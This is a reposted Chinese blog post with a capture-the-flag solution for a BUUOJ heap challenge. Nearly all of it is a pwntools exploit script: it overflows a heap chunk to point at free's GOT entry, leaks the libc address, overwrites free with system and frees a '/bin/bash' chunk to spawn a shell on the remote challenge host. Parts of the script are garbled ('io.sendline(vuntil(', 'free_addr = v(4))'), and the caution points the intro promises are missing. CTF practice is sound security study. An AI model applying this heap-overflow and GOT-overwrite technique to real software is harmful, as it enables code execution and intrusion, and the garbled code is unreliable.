这道题还是比较基础的堆题,泄漏libc和get shell都比较基础。需要注意的是以下几点:
#coding=utf-8
from pwn import *#io = process("./pwn")
io = remote("node3.buuoj", 25356)
e = ELF("./pwn")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
#context.log_level = "debug"
#inal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]def debug():gdb.attach(io)def add_user(description_size, name, text_len, text):io.recvuntil("Action: ")io.sendline("0")io.recvuntil("size of description: ")io.sendline(str(description_size))io.recvuntil("name: ")io.sendline(vuntil("text length: ")io.sendline(str(text_len))io.recvuntil("text: ")io.sendline(text)def delete_user(index):io.recvuntil("Action: ")io.sendline("1")io.recvuntil("index: ")io.sendline(str(index))def display(index):io.recvuntil("Action: ")io.sendline("2")io.recvuntil("index: ")io.sendline(str(index))def update(index, text_len, text):io.recvuntil("Action: ")io.sendline("3")io.recvuntil("index: ")io.sendline(str(index))io.recvuntil("text length: ")io.sendline(str(text_len))io.recvuntil("text: ")io.sendline(text)add_user(0x10, "aaa", 0x10, "bbb") #index0
add_user(0x10, "aaa", 0x10, "bbb") #index1
add_user(0x10, "aaa", 0x10, "/bin/bashx00") #index2
delete_user(0)free_got = e.got["free"]
payload = 128*"a" + p32(0x0) + p32(0x19) + "x00"*20 + p32(0x89) + p32(free_got)
add_user(0x80, "aaa", len(payload), payload) #index3# leak libc
display(1)
io.recvuntil("description: ")
free_addr = v(4))
#libc_addr = free_addr - libc.symbols["free"]
libc_addr = free_addr - 0x00070750
print("func address: " + hex(free_addr))
print("libc address: " + hex(libc_addr))#get shell
#system_addr = libc_addr + libc.symbols["system"]
system_addr = libc_addr + 0x03a940
payload = p32(system_addr)
update(1, len(payload), payload)delete_user(2)io.interactive()
本文发布于:2024-01-28 22:41:50,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170645291310818.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |